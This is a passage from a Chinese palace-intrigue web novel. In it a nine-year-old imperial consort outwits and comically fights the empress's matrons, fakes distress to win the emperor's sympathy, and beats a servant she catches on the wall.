刹那间,椅子腿往后磕在桂嬷嬷腿上。
椅背往前顶着桂嬷嬷的胸肚。
偏偏谢元棠还拉扯着她的胳膊,让她整个人都抻在椅子上!
“哐当!
“哎哟!
椅子裂在地上!
桂嬷嬷裂在椅子上
!
看着抱着
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肚子疼得在地上打滚的桂嬷嬷,谢元棠惊呼一声,跑过去扶住她:“哎呀桂嬷嬷,你怎么就摔了呢?怎么这么不小心?难道是年纪大了老眼昏花快死了?”
桂嬷嬷:“……”你才快死了!
她手里捏着针,嫉恨地盯着谢元棠,咬牙道:“小皇妃,你既然不听话,可就别怪奴婢不客气了!”
说着也不再隐藏,捏着针就朝谢元棠扎过去。
谢元棠:“嘿嘿~”
桂嬷嬷:?
谢元棠笑着道:“针刑嘛,我懂,宫斗戏必备!”
桂嬷嬷:??
谢元棠开心极了:“真巧,我也有针!”
桂嬷嬷:???
下一瞬,不等她的绣花针碰到谢元棠,谢元棠就反手三枚银针,快速地扎进了她大腿上!
桂嬷嬷:“啊啊啊!”
谢元棠抡起一条椅子腿,“哐哐”两下砸在她手上,将她手里的绣花针踢得倍儿远。
“老登,想扎我?想毛呢!”
三枚银针拿出来,扎进去!
桂嬷嬷:“啊啊啊啊!”
再拿,再扎!
桂嬷嬷:“你敢对我,皇后娘娘不会放过……啊啊啊啊!”
扎扎扎!
桂嬷嬷:“啊啊啊救命……嗝!”
晕死过去了!
谢元棠站起身,低头看了眼桂嬷嬷,冷笑一声,拍拍手跳窗走人!
想搞她?
能在末世那种地方活下来的人,什么没见过!
谢元棠跳出窗户,绕着人少的地方跑。
她跟司徒砚约好了,在西侧门见。
什么学规矩?
她脑子又没病,怎么可能乖乖留在惠坤宫让人折磨!
谢元棠心里一边吐槽,一边加快步伐。
只是没跑多远,就听见身后传来的响声:“快,小皇妃就朝这个方向跑了。”
“皇后娘娘可说了,务必将人带回来!”
谢元棠:“……”
她看看左右,想也不想就朝最近的宫殿跑了进去。
那殿门半开着,也没什么人把守,谢元棠小小一只一闪身就躲了进去。
刚反关上殿门,就听见身后传来一道好听的男声:
“你是……”
第45章 她心里有数?那就更糟了!
谢元棠一惊回头。
入目,先看见一抹浅灰色的衣衫。
她怔怔仰头,看向站在她对面,正低头看向她的男人。
一袭浅灰色的薄衫随意搭在男人身上,似乎是因为出来的着急而仓皇披上的。
病弱苍白的脸颊微微凹陷,高瘦的身形因为跟谢元棠说话而微微弯腰,却不会折损他的威严,反而让他多了丝温和。
那双寒潭般的眸子在看向人的时候,自带七分宽容,三分隐忍。
如果说司徒冉是修竹高松,司徒砚是美貌而不自知的纯情妖姬,那眼前这人便是雪山上一朵让人心疼的寒莲。
明明已经五月的天气,但只是靠近他,便觉得连空气都比别处清冷些。
谢元棠有些惊讶,这皇宫中竟还有这样的高岭之花?
见她不说话,只一双大眼睛咕噜噜地盯着自己打转,男人不由有些不自在:“怎么了?是不是我突然出现吓到你了?咳咳……”
“你莫怕,我不是坏人……咳咳……你是哪位官女子,可是在宫中迷路了?”
他应是患有旧疾,说话间总断断续续地咳嗽。
谢元棠正要回答,忽然听见外面的脚步声,连忙推了他一把将人推到门后。
与此同时,门外响起侍卫的说话声:“奇怪,分明是跑到这个方向了,怎么不见人了?”
男人看看谢元棠:“你……”
“嘘!”
谢元棠急忙小声道:“别告诉他们,让我在这儿躲一下下,求求了~”
一双黑曜石般的大眼睛灵动地忽闪着。
男人顿了顿,微微勾了勾唇。
真像只小狐狸。
“咚咚咚”。
外头传来敲门声,男人看看谢元棠,笑着指了指园中的大树。
谢元棠眼睛一亮,机灵地跑过去躲好,还不忘探出小脑袋朝他比了个OK。
男人好笑地摇摇头,见她躲好,才打开殿门走了出去。
不知道跟外面的侍卫说了什么,只偶尔听见男人微弱的咳嗽声。
谢元棠躲在树后,见男人走出去,大眼睛滴溜溜一转,勾了勾唇,
不多会儿,男人再次回来关上殿门,走到大树前道:“好了,他们已经走了,你可以出
来了,咳咳……”
没人回应。
男人愣了下,转身走到树后。
大树背后空空荡荡,哪里还有那只小狐狸的影子!
合着小丫头一开始就是利用他拖延时间,自己跑了!
男人笑着摇摇头,忽地瞥见什么,弯腰将那树下的东西拾起来。
这才发现是一只小巧的银色铃铛,看起来倒像是小狐狸头上的配饰。
盯着那只铃铛沉默片刻,男人忽地轻笑:“原来是你……”
“咳咳咳咳……”
咳嗽声传来,找过来的宫人忙过来扶住男人:“殿下,您怎么在这里?外头风大,您身子又弱,仔细咳嗽更厉害了,快回吧。”
“嗯。”
——
西侧门旁边的巷子里,安静地停着一辆马车。
虞龙看看天色,距离他们等在这里已经约莫半个时辰了。
他有些怀疑地问司徒砚:“她真说了会在半个时辰内出来?你别是听错了吧?”
司徒砚坐在马车里,闻声挑开帘子:“没听错,娘子就这么说的。”
虞龙是个嚣张惯了的,对司徒砚也没什么敬畏,便故意逗他道:“我看她就是说大话,那可是皇后娘娘,皇后不放人,她能有本事走?”
“娘子会出来的!”
司徒砚好看的桃花眼瞪着虞龙,气哼哼道:“不许你说娘子坏话!”
“不对……不许你再说话!”
说罢,他重重地哼了声,生气地放下帘子坐回马车里,不理人了!
虞龙“啧”一声,故意道:“你不让我说我还偏要说,就谢元棠那丫头……”
“我怎么样?”
虞龙话才开了头,就被一道清脆的声音打断。
下一瞬,司徒砚忽地从马车里探出头,惊喜地望着她:“娘子回来了!”
谢元棠笑着走过去:“是呀,回来啦!”
虞龙看着她真的毫发无伤从惠坤宫出来,嘴角不由抽搐了下:“你本事可真大,皇后竟然会放你出来?”
谢元棠挑眉:“你竟然现在才知道?我以为你在给我当
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保镖的时候,就知道我本事大了。”
虞龙:“……”不想聊天,自闭了。
就这样,在姜皇后满皇
宫找谢元棠的时候,殊不知她已经跑回家了。
最后还是闹到了司徒擎跟前,司徒擎让曲培跑了一趟,确定人是回家了而不是丢了,这件事才作罢。
姜皇后趁机道:“皇上,您看谢元棠如此行为,哪有半点皇子妃的样子!
她是真气死了,本来她还以为谢元棠只是躲在哪儿,故意闹大动静好让皇上知道,却没想到谢元棠真敢跑出宫去,当真是不把她放在眼里!
司徒擎微微一顿,点头道:“确实不像话,就有劳皇后好好管教管教她吧。
姜皇后要的就是这句话,得到放权,她才微笑着道:“是,臣妾定然管教好她。
等姜皇后离开,曲培才迟疑着开口:“皇上,这事儿……只怕有蹊跷啊。小皇妃虽然跳脱,但不是没分寸的人,如果没有缘由,怎么会公然顶撞皇后呢?
司徒擎沉默片刻,问:“你去皇子府的时候,她是怎么说的?
曲培摇头:“小皇妃什么也没说,就说让奴才别管了,让您也别管,她心里有数。
“心里有数?
司徒擎哼了声:“她心里有数,朕心里就更没数了!
曲培:“……加一。
“明日吧,明日去惠坤宫,看看她们到底在怎么教规矩。
“是,皇上英名。
……
惠坤宫,桂嬷嬷捂着被打肿的手腕,咬牙道:“娘娘,那个谢元棠真的有点邪门,奴婢今天差点死她手里。
“别着急。
姜皇后慢条斯理地擦着指甲:“本宫已经得了皇上的命令,明天你们不必留手,给本宫好好地管教她。
“是。
……
皇子府。
谢元棠拿着书包去找白芙。
片刻后,白芙脸色复杂地替她将东西装好,迟疑道:“皇子妃,这……明日真的能行吗?
白嫩的小手一拍书包,谢元棠笑嘻嘻道:“放心吧,我心里有数!
白芙:“……
哎呀您还是别有数了,奴婢心慌啊!
第46章 你要实在气不过,你可以侮辱我爹啊!
次日,谢元棠还是一大早就去了瀚学。
只是一进学堂发现今日司徒煦和司徒凤竟然都没来,看来这两人是故意躲着她了。
谢元棠“啧啧”摇头:“真是玩不起,不就是叫我一声‘嫂子’嘛,脸皮也太薄了吧!”
听见这话的孙逢必忍不住小声哼唧:“那是,谁有你脸皮厚啊!”
他声音低,本以为没人听见,却不料话音刚落,一颗小脑袋就伸了过来:“背后说人长溃疡哦~”
“啊!”
孙逢必吓了一跳,是真的跳了起来!
他看着谢元棠,再看看站在她旁边的司徒砚和虞龙。
惹不起,他躲得起行了吧!
有了昨天的教训,孙逢必半点都不想跟谢元棠说话,扭头就往外走。
谢元棠看着他的背影,疑惑地喊他:“喂,孙逢必!”
孙逢必听不见。
谢元棠:“逢必叔叔!”
孙逢必咬牙,还是听不见。
谢元棠:“必姥爷~”
孙逢必破防!
他扭过头瞪着谢元棠:“你瞎叫什么,你才姥爷,你全家都是姥爷!”
谢元棠歪了歪头,十分认真地眨眨眼:“哎呀,这就给我全家抬辈分了?我是不介意你叫我姥姥,不过你确定你爹妈不介意吗?”
孙逢必:“……”快来人借我个嘴!
谢元棠看着孩子又快气厥过去了,才拉着司徒砚笑着走过去道:“哎呀你别生气嘛,咱们聊聊天呀~”
孙逢必哼哼:“聊什么聊?我跟你很熟吗?”
谢元棠点头:“是啊,这学堂里除了六弟和三妹妹,我就跟你说话最多了。”
孙逢必:“……”你那是说话?你那是扎我心吧!
谢元棠不管他心里怎么想,她自来熟的拉着司徒砚坐在他身边:“哎,孙逢必,我有个问题可好奇了,能问问你吗?”
孙逢必看她一眼,又看看挡住路的虞龙,郁闷地也坐下来。
朝阳底下,三人毫无形象地蹲坐在台阶上,跟村口老大爷似的。
谢元棠好奇地问:“你爹娘为什么给你起名叫逢必啊?难不成他们当初在吵架?”
所以希望对方逢赌必输?
孙逢必因为
这名字被人开过不少玩笑,眼下谢元棠一开口他就气得脸都红了,中气十足地指着谢元棠:“谢元棠我警告你,你侮辱我可以,不许侮辱我爹娘,不然我跟你拼命!”
谢元棠没想到他反应这么大,眨眨眼道:“你别生气啊,我没有侮辱你爹娘的意思,我就是单纯好奇而已。”
孙逢必:“……”
谢元棠看着脸色更调色盘一样的孙逢必,大度地挥挥小手道:
“你要实在气不过,你可以侮辱我爹啊,我不介意的!”
孙逢必、虞龙:“……”你可真是快孝死你爹了!
司徒砚前面没怎么听懂,到这里倒是听懂了。
于是想也不想就跟着点头:“对对对,你要是气不过,你也可以侮辱我……唔!”
话没说完就被孙逢必捂住了嘴,他瞪了眼司徒砚:“你想死别拉上我和我九族行吗?”
他就算再多八个胆子,也不敢骂司徒砚的爹啊!
桃花眼眨巴眨巴,司徒砚拿开他的手道:“你干什么捂我嘴?我只是想说,你实在气不过,可以骂我岳父啊,他本来就很坏!”
虞龙:“……”下次您还是别开尊口了,妈的冷汗都给你吓出来了!
孙逢必:“……”谢丞相还活着,真是不容易!
远在丞相府的谢兆青忽的打了个冷战,然后鼻子一痒:“阿嚏阿嚏阿嚏!”
被这么一打岔,孙逢必倒也不排斥跟几人聊天了。
他冷哼一声,别扭地解释:“我爹娘是对我寄予厚望,希望我逢……”
“逢赌必输?”谢元棠举手抢答。
“……是逢考必过!”
孙逢必没好气道:“我孙家乃文学世家,我娘希望我高中状元,所以才会为我取这名字。”
谢元棠又问:“那为什么不叫你孙逢过?”
孙逢必愣了下,抿了抿唇道:“我二哥叫孙逢过。”
“那孙逢中呢?逢考必中。”
“我大哥叫孙逢中。”
“……”
谢元棠第一次哑口无言。
孙家的情况有点复杂,说白了就是宠妾灭妻,在主母生子之前,孙家已经有两个孩子了,所以孙逢必的母亲为他取名时,就希望他能在名字上压过前面两个庶兄。
谢元棠听完面色复杂道:“还真是字面意义上的压过啊。”
三人聊了会儿谢元棠看出孙逢必虽是个纨绔但人还没坏到哪去就交了这个朋
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友(单向的)。
之后便有意让司徒砚跟他交流司徒砚往常没什么朋友她不希望他的生活中只有自己一个人那也太可怜了。
等学堂下课桂嬷嬷准时来“接她”。
谢元棠今日没让司徒砚等她只说让他先回家她会晚点回去然后才跟着桂嬷嬷去了惠坤宫。
惠坤宫里今日姜皇后根本没出现。
谢元棠跟着桂嬷嬷来到偏殿一进门就看见左右两边站着五六个老嬷嬷。
个个都膘肥体壮。
“嘎吱”一声左右的嬷嬷将偏殿大门紧紧关上。
谢元棠注意看了眼竟连窗户都封住了!
“皇后娘娘在歇息今日就奴婢们陪小皇妃练习了。”桂嬷嬷盯着谢元棠的脚道“昨日小皇妃步履如飞想来脚伤已经好了今日便开始练习走路吧。”
说着不由谢元棠拒绝就让人拿来了一个装着半碗水的花碗。
她先顶在头上稳稳地走了一圈有了昨天的教训她也不问谢元棠学会没有直接把碗放在谢元棠头上:“走路要步稳身稳水不能撒小皇妃开始走吧。”
还真是够着急的。
谢元棠看着两旁虎视眈眈的嬷嬷嘴角勾了勾淡定自若地走起路来。
不就顶碗走路嘛
谢元棠走得飞快碗里的水竟也没洒。
“桂嬷嬷练完了吧可以走了吧?”
桂嬷嬷冷笑:“小皇妃可别大意这路可不是那么平的。”
桂嬷嬷给旁边几个嬷嬷使了个眼色忽地谢元棠走的路上伸出了一只脚。
谢元棠看都不看抬脚用力跺下去!
“咔嚓!”
“啊啊啊啊!”
一个嬷嬷抱着脚倒在地上谢元棠转头笑嘻嘻看向桂嬷嬷:“谢谢嬷嬷提醒嬷嬷可真是好人呀!”
桂嬷嬷:“……”
她再朝剩下几人使眼色。
几人袖子一抖无数黄豆落在地上。
桂嬷嬷假模假样地喊道:“哎呀是哪个不长眼的竟将黄豆撒在这里小皇妃可小心了。”
“啊?那可怎么办?我看不见呀!”
谢元棠面露惊慌一手捧着碗脚下一个不稳踩在黄豆上顿时惊呼一声往旁边扑了过去!
与此同时小宫女急急忙忙跑进惠坤宫:
“娘娘不不好了……”
“皇皇上和太傅往这边来了这会儿已经到惠坤宫门口了!”
第47章 不如大佬棠教你做鬼怎么样!
“你说什么?”
姜皇后脸色骤变。
昨日她狠狠的在司徒擎面前告了谢元棠一状,满以为司徒擎会因此心生厌烦,必然不会管谢元棠死活,所以今天才让桂嬷嬷好好教训谢元棠。
却没想到司徒擎会在这个节骨眼过来!
“言关清……”
姜皇后脸色微沉,指甲在桌面上划出一道划痕,咬牙道:“又是你!”
每一次司徒砚和谢元棠出事,都有他在场!
“娘娘,娘娘……”
宫女小声提醒道:“皇上人快到门口了,偏殿那边……”
姜皇后一边快步往外走,一边吩咐道:“你去,告诉桂嬷嬷收手,算那臭丫头走运,今天先饶了她。”
“是。”
宫女连忙小跑着去了偏殿。
另一边姜皇后深吸口气,换上一贯的得体微笑,快步迎了出去。
刚走出门,就看见了迎面走来的司徒擎,姜皇后微笑着上前行礼:“皇上,您怎么这会儿有空来臣妾这里了?”
“刚跟太傅谈完太子的学业,就顺道过来看看。”司徒擎道。
言关清谨礼低头,恭敬道:“微臣见过皇后。”
姜皇后挑了挑眉,似笑非笑道:“最近这段时日,太傅倒是往后宫跑得很勤快啊。”
虽然玄昭国国风相对开放,也没有绝对的外臣不可入后宫的规矩,但那是别人,而言家人除非有诏,否则是绝不轻易踏足后宫的。
听出皇后话里的隐意,言关清依旧垂首,一板一正地认错:“娘娘恕罪,臣知错。”
你说我错?
嗯,错了。
但不改。
姜皇后被他的态度梗得顿时一噎,忽听见司徒擎问:“对了,元棠不是在你这儿学规矩吗?学得怎样了,人呢?”
话音刚落,突然,一道凄惨的惨叫声从偏殿传出来!
“啊啊啊啊!”
众人脸色骤变。
偏殿。
“哎呀是哪个不长眼的,竟将黄豆撒在这里,小皇妃可小心了。”
“啊?那可怎么办?我看不见呀!”
谢元棠眨眨眼,小脸上满是惊慌。
她一手捧着碗,仓皇间,脚下一个不稳踩在黄豆
上,顿时惊呼一声往旁边扑了过去!
臭丫头,这下还摔不死你!
桂嬷嬷心里得意的想着,只是嘴角的笑容还没勾起来,就看见谢元棠摔的正前方不偏不倚,正站着三个嬷嬷!
桂嬷嬷笑容一僵,急忙喊道:“喂,你们快躲开……
躲?
谢元棠嘴角勾着恶劣的弧度。
在她的射程范围内,躲哪儿都没用!
于是,桂嬷嬷就眼睁睁地,看着谢元棠跟一枚小炮弹似的!
“嗖一下就朝着三人“弹射了过去!
“哎哟我的腰!
“我的妈我的肚子……
“老天爷我的胸……
三声惨叫,搭配着三声“噗通的砸地声,三个嬷嬷应声倒在黄豆上,顿时疼得龇牙咧嘴!
而谢元棠正趴在柔软的肉垫……啊不,是柔软的胸和肚子上,小脸美滋滋儿的:“真好玩儿,好像在玩蹦床一样嘞~
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说
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三嬷嬷:“……
看着顷刻之间自己人倒下一大半,桂嬷嬷气得上头,撸袖子骂道:“臭丫头,我今天跟你拼了!
说罢,招呼着剩下两三个嬷嬷就冲了上去!
谢元棠看着几人朝她围过来,不慌不忙地爬起身,顺便小脚一抬,踩在剩下一个想拽她脚的嬷嬷的大肚子上!
“唔……哎哟喂我的肚子!
那嬷嬷顿时捂着肚子,疼得再也顾不上谢元棠。
谢元棠刚站起,桂嬷嬷几人已经冲到跟前,一左一右扯住她纤细的胳膊,也不管是不是会掰断她的手臂,用尽力气就开始将她往两边扯!
那架势,倒是要给她来个“车裂似的!
剩下一人站在中间,空出手就要扇她耳光!
三人同时行动,以谢元棠的力气绝对挣不开两个嬷嬷的拉扯,那就更躲不开中间的耳光!
桂嬷嬷使劲儿拧拽着谢元棠的衣袖,冷笑道:“臭丫头,不想手臂断掉的话,就乖乖给我站好了!
“在这里,我们就算弄死你,也没人会来救你!
谢元棠看着那近在咫尺朝她扇过来的巴掌,眼皮微微眯起,乌黑的眼眸
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一刹间闪过嗜杀的冷意!
“想弄死我,就凭你们?
谢元棠嘴角微勾
稚嫩的小脸上满是肆意的狂傲!
说话间她眼神一厉双手诡异地一扭一缩!
本来桂嬷嬷抓得死紧的胳膊顿时滑溜地跟泥鳅一样瞬间便从袖子里脱了出来!
金蝉脱壳!
谢元棠只用了不到一息就从衣服里脱身出来!
下一瞬
桂嬷嬷两人拉扯着空空如也的外衣霎那间失衡依着惯性往后倒去!
“小贱人不服管是不是?奴婢今天就好好教你做人……”
剩下那人方才一巴掌打空此刻想也不想抬手就朝谢元棠脸上扇过来。
“教我做人?”
手还没碰上谢元棠谢元棠忽地歪了歪头脸上的笑容似阎罗一般:
“不如大佬棠教你做鬼怎么样!”
说着话谢元棠忽然举起不知何时拿回来的花碗毫不犹豫地砸下去!
一碗砸手!
二碗砸头!
三碗送你上黄泉!
“啊啊啊啊……”
偏殿再次传来惨叫声。
姜皇后心中顿时咯噔一声她不是让人去告诉桂嬷嬷今日收手吗?
怎么还会发出这等惨叫?
而且这声音怎么这么耳熟?
司徒擎面色微冷沉沉地看着姜皇后:“你说元棠在学规矩便是这般学的?”
“这臣妾……不知啊……”
姜皇后还想狡辩言关清却是一点脸面没给她焦急道:“陛下还是先去看看元棠吧。”
小丫头才九岁可别真出事了!
司徒擎冷眼扫了皇后一眼冷哼一声大步走向偏殿。
姜皇后恨恨地跺了跺脚也急忙跟了上去。
偏殿门一打开。
司徒擎等人目瞪口呆地看着一地的狼藉还有倒了一屋子的嬷嬷。
最后视线落在那唯一一个坐在地上却缩着小身子只穿着白色中衣的小身影。
“小丫头你怎么样?”
言关清满是担忧。
“元棠你没事吧?”
司徒擎亦有些担心万一小丫头真出了事他可怎么跟儿子交代?
小小的身影微微瑟缩了下回过头来。
第48章 虽然但是……她冤枉啊!
谢元棠回过头,大大的眼睛里满是恐惧和不安。
苍白的小脸上满是泪痕,小手上还染着血,瘦弱的肩膀不停地颤抖着。
一看就是被欺负惨了,受惊过度的样子。
“父皇~舅舅……”
哽咽的声音的瞬间,长长的睫毛一眨,眼眶里的小珍珠顿时大颗大颗往下掉。
看起来可怜极了!
司徒擎一颗老父亲的心顿时就化了!
“不哭不哭,父皇为你做主哈!”
“先告诉父皇伤着没有?磕着还是碰着了?”
“御医,御医呢?”
姜皇后:“……”
她忍无可忍地说了句:“皇上,倒在地上的都是臣妾的嬷嬷,分明是谢元棠伤了她们吧!”
瞎子都能看出来的事,怎么皇上忽然成“昏君”了?
不等司徒擎说话,言关清就轻飘飘一句:“皇后娘娘是说,这一屋子六七个身形壮硕孔武有力的老嬷嬷,被元棠一个九岁孩子给放倒了?”
姜皇后面色一僵,冷哼道:“眼见为实,太傅不是向来讲证据吗?本宫的嬷嬷伤了,谢元棠好好的,这就是证据。”
“好了,都不要说了。”
司徒擎不耐烦打断两人,等看向谢元棠时又柔声问道:“元棠,你来说,到底怎么回事?”
“她们……”
谢元棠抖了下,颤抖着小手,从背后摸出一把绣花针来,声音又低又哽咽:“她们……用针扎我……”
旁边哀嚎的桂嬷嬷等人:“……”
???
!!!
不是,你哪来的针?
看见谢元棠拿出绣花针的瞬间,连姜皇后都愣了,不着痕迹地看向桂嬷嬷。
姜皇后眼神:你不是说今天不用针刑吗?
桂嬷嬷眼神:奴婢没用啊!
姜皇后:那针是怎么回事?
桂嬷嬷:不造啊!
两人“眉来眼去”片刻,都想到了一个可能:难不成是昨日被谢元棠捡去的?
任她们如何都没想到,谢元棠会早早让白芙在她书包里准备好了“凶器”!
看见那一把泛着寒光的绣花针,司徒擎脸色登时冷了下来:“皇后!这就是你说的管教?”
“臣妾真的不知啊!”
姜皇后一咬牙死不承认:“皇上如何能肯定那绣花针一定是出自臣妾宫里?”
“不是你惠坤宫的,难不成还是谢元棠放书包里带来的?”
“她才九岁,她没事拿一把针做什么?刺绣吗?”
姜皇后哑口无言。
言关清眼尖的看见黄豆,清冷的眼神微微一动,出声道:“古有撒豆成兵,没想到皇后娘娘这里竟也有。”
司徒擎蹙了蹙眉,问谢元棠:“黄豆又是怎么回事?元棠,你从头说来。”
谢元棠吸了吸鼻子,怯懦懦道:“桂嬷嬷让我顶着花碗走路,然后她们用脚绊我,还往地上撒黄豆……”
“我不小心撞到了她们,碗碎了,她们就脱我衣服,还用针扎我……”
“说是奉命管教我,就算弄死我,父皇也不会说什么。”
她口齿本来就伶俐,一句话里九句半都是真的,只有半句假话,绝不会让人发觉。
司徒擎和言关清早已经沉了脸,言关清抿了抿唇,上前将她扶起来,仔细打量:“可有受伤?”
谢元棠点点头:“身上疼……”
司徒擎冷声喝道:“皇后,朕信任你才将元棠交给你,你就是如此对待真的信任的?”
姜皇后连忙跪下道:“皇上明察,臣妾冤枉啊。”
桂嬷嬷等人也赶紧爬起来,跪地喊冤:“皇上,谢元棠胡说,不是这样的……”
“那是怎样?”
言关清打断桂嬷嬷的话,冷声质问:“你没有撒黄豆?花碗不是你准备的?还是你没有脱她的衣服?”
桂嬷嬷:“……”
虽然但是……
她真的冤枉啊!
司徒擎:“来人,堵了这些老刁奴的嘴,全都带下去!朕再也不想看见她们!”
“是。”
姜皇后脸色一白,急道:“皇上……”
“皇后还是想好了再开口。”
司徒擎低头看了眼跪在地上的姜皇后,目光深沉可怕。
姜皇后咬紧牙,看着桂嬷嬷等人被拉出去,却是一句求情的话都不敢再说。
司徒擎冷哼一声,下令道:“皇后近来身体欠佳,就好生在惠坤宫休息吧,后宫诸事暂交给虞
贵妃搭理。”
姜皇后震惊地抬起头。
他这是……禁了她的足,罢了她的权?
她这个皇后若是当不好,那她儿子的太子之位……
想到这里,姜皇后猛然看向言关清。
到了此刻她方才清楚的意识到,从来不是言关清非他们不可,而是她和儿子离不开言家的支持。
她妄图通过掌控司徒砚和谢元棠,来掌控言关清,却似乎忘记了。
言家人,从来都是傲骨当当,宁为玉碎不为瓦全。
言意澜是!言关清也是!
姜皇后张了张口,最后一刻的理智,让她没有再替自己求情,而是妥协道:“臣妾……遵旨。”
她看向言关清,眼中带着悔意和恳求:“本宫言行和太子无关,还请太傅……好生教导太子。”<
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p>言关清凉凉地扫了她一眼,淡淡道:“微臣自会尽臣子本分。”
姜皇后站起身,离开前看了眼那个站在言关清身边的小身影。
谁能想到,她姜随蕊当了这么多年皇后,第一次被禁足,竟是栽在一个九岁小丫头手里!
谢元棠……
姜随蕊看着谢元棠,嘴角露出一抹苦笑。
或许,当初的冲喜便是她错了。
若是她没有让谢兆青找一个不受宠的嫡女冲喜,那是不是就没有如今这些意外了?
姜随蕊走回惠坤宫主殿,外面把守的侍女顿时将殿门合上。
谢元棠看着缓缓合上的殿门,眨了眨眼,却没有丝毫愧疚。
姜随蕊今日是冲着弄死她来的!
就算她命大不死,也难保残了毁了,她不过的自保反击而已。
何况原主的命债,姜随蕊本就有一份!这还没够呢!
“陛下,那臣先带元棠回去了?”言关清说道。
司徒擎点点头,有些疲惫道:“让御医先瞧瞧,再换身衣裳再出宫。”
“是。”
等见过御医,确定她没什么大碍,又重新换了衣裳,言关清才带她出宫。
谢元棠乖乖地跟在他身旁,低着头扮乖。
一直到出了宫门,言关清才停下脚步,低头看了她一眼,似笑非笑道:“还在哭?”
谢元棠一怔,就看见一只修长的手指拿着一抹干净帕子递过来。
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“没人看,别哭了。”
谢元棠:“……”
她惊讶地抬头,大眼睛乌亮乌亮:“舅舅,你早就知道?”
“知道什么?”
言关清斜她一眼:“知道你是装的?”
谢元棠尴尬地摸摸鼻子,有点心虚,小声道:“我还以为我演技很好来着。”
“哼。”
言关清没好气地瞪她一眼:“皇上面前也敢说演就演,你是真不怕死啊!”
谢元棠俏皮地吐了吐舌头:“这不是有舅舅在嘛,再说了我也没说假话啊,她们就是在欺负我嘛!”
只不过被她反欺负回去了而已。
上了马车,先去皇子府。
看着上了车就彻底卸下伪装,瘫在那儿打哈欠的小人儿,言关清无语地摇摇头,问道:“这下皇上准你歇两日再去学堂,你打算做什么?”
他总觉得,眼前这个小滑头愿意配合皇后闹这么一出,就是为了这两日假期。
谢元棠眼睛一亮,笑得小酒窝若隐若现,脆生生道:“去找我娘亲!”
第49章 哇呀呀打洗你!
言关清微愣,回想她之前问他的话,问道:“你要去华觉寺?”
“嗯。”
谢元棠点点头。
这是她早就计划好的,原本没有围猎之事的话,她会更早去华觉寺。
毕竟冷蕴菀是小原主最后的牵挂和思念了,她既然继承了这具身体,自然也要将冷蕴菀的事情解决好。
言关清思索片刻后,开口道:“你们去华觉寺也好,但记得多带些人。”
顿了顿又别有意味道:“虞龙到底是虞家的小公爷,虽暂无官职,却也不合适陪你们上蹿下跳的,这件事就别麻烦他了,如果皇子府人手不够的话,我可以另外给你们安排人。”
“不用不用,够哒!”
谢元棠笑着摆手:“带太多人也不好,而且舅舅您刚帮了我,再这样大张旗鼓的,父皇该不高兴了。”
小东西还算有点良心,知道担心他了。
言关清微微一笑,眼里的清冷融化了些许。
马车在皇子府门口停下,言关清并未进府。
连谢元棠都有些奇怪,言关清这个舅舅看起来似乎很在意司徒砚,但又似乎……很不愿意靠近他。
看着马车走远,谢元棠摇了摇头甩开脑子里的胡思乱想,正想转身进府,一撇头,余光忽然看见墙头多出的影子!
有人埋伏!
谢元棠双眼骤然一眯,却没有抬头,甚至脚步都没有停一下继续往里走。
“皇子妃。”
门口的侍卫朝她行礼,谢元棠点点头,跟没事人一样,又蹦又跳地走了进去。
“啧,跳得跟个兔子一样,简直就是个小屁孩嘛!”
墙头,悄摸趴在那儿的男人小声吐槽。
就在他准备撤退走人时,忽然,一枚铜钱凌空射来!
破空声让男人一惊回头,看着那尽在眼前的铜钱,连忙一个翻转才堪堪躲开。
却不想下一瞬,脚下瓦片骤然裂开!
男人脸色一变,大骂一声“卧槽”,失力地跌了下去!
“咕噜噜~”
男人从墙上滚落下来,还顺带下来好几块瓦片,哗啦啦全碎在他身上!
跟给他盖了层瓦盖似的!
男人正郁闷,忽然看见一张可爱的小脸闪现在
眼前。
“嗨~”谢元棠笑嘻嘻朝他挥挥手。
男人僵僵地不明所以但莫名就是想跟着举手:“嗨……?”
下一瞬还不等他爬起来就看见谢元棠笑眯眯地从背后掏出一只麻袋!
直到眼前黑暗一片男人还没从震惊中反应过来。
不是你哪来的麻袋啊!
谢元棠套住他脑袋二话不说骑上去就开始左右开弓!
“哇呀呀打洗你!”
“死小偷敢来偷你姑奶奶家的房瓦不要命了你!”
“捶洗你捶洗你!”
谢元棠两只小手看似在胡乱打实则全都打在痛处。
男人一不敢还手二不敢反抗顿时痛得嚎起来:“别打了我我不是小偷啊!”
“殿下救命啊!”
“言墨救命啊!”
……
半刻钟后谢元棠看着被揍得鼻青脸肿的娃娃脸少年疑惑道:“你就是言枫?”
“昂。”
言枫郁闷地应了声。
“你回来就回来爬墙头做什么?”
就他刚才那副做贼样谢元棠没杀他都算手下留情了。
“对呀你爬墙头干什么?”
司徒砚不解地看着言枫:“难道你喜欢那儿的瓦?”
言枫:“……”
他爬墙头当然有原因的但……看了眼谢元棠言枫再蠢也不知道不能说实话于是秉着死道友不死贫道的原则他毫不犹豫地指了指旁边:“是言墨让我爬的!”
言墨:“……”
谢元棠眨眨眼忽地勾了勾唇。
司徒砚看不出她却是很快反应过来原来这两人是信不过她
担心她对司徒砚不利?
谢元棠好笑地摇摇头却也能理解于是一挥手道:“行了下去吧。”
言墨和言枫齐齐一顿有些不解地看着谢元棠。
这就……完了?
不审他们不惩罚他们了?
两人却不知他们不信谢元棠谢元棠对他们也并非全然相信。
或者说这皇子府看似一切平静但谢元棠总觉得暗中好似被好几只眼睛盯着在查清一切之前最好
的办法就是按兵不动,以静制动。
言枫以为自己逃过一劫,正想离开,就听见司徒砚问:“哎你还没说你刚才为什么趴墙上呢,不是喜欢瓦片,难道是在晒太阳吗?”
言枫:“……对!”
司徒砚还想再问,谢元棠笑着打断他,对言枫道:“行了,回去
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收拾一下,明日我们要出发去华觉寺,你和白芙还有罗吉随行。”
“是去见娘子的娘亲吗?”
“去……去华觉寺!”
两道声音同时响起。
谢元棠狐疑地看看司徒砚,又看看言枫和言墨。
司徒砚惊讶她能理解,但言枫一个随侍,古怪的地方是不是也太多了点?
谢元棠眯了眯眼,看着言枫:“你去过华觉寺?”
言枫一噎,脑袋都快摇成拨浪鼓了:“没有,没去过,不知道!我……我先走了!”
话还没说完,人就运起轻功跑没影了。
慢他一步,腿脚还没好利索的言墨:“……我也没去过。”
说完赶紧往外走。
谢元棠翻了个白眼,这下不用问,华觉寺这地方绝对有猫腻!
“夫君,你去过华觉寺吗?”
“没有。”
司徒砚紧张地抠着手指,说话间坐下又站起,站起又坐下。
“你在干嘛?”谢元棠好笑地问。
